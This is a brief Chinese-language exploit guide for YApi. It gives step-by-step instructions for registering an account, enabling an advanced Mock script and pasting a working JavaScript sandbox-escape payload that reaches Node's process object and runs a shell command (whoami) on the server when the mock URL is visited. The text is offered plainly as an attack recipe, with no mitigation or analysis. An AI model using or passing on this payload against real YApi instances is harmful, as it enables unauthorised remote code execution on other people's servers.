利用前提为Yapi开启了注册功能,注册一个账号
添加一个项目
进入项目内添加一个接口
点击高级Mock,并打开脚本页面,开启脚本,输入Mock脚本
const sandbox = thisconst ObjectConstructor = this.constructorconst FunctionConstructor = ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
点击保存,打开预览界面。访问Mock地址即可执行命令


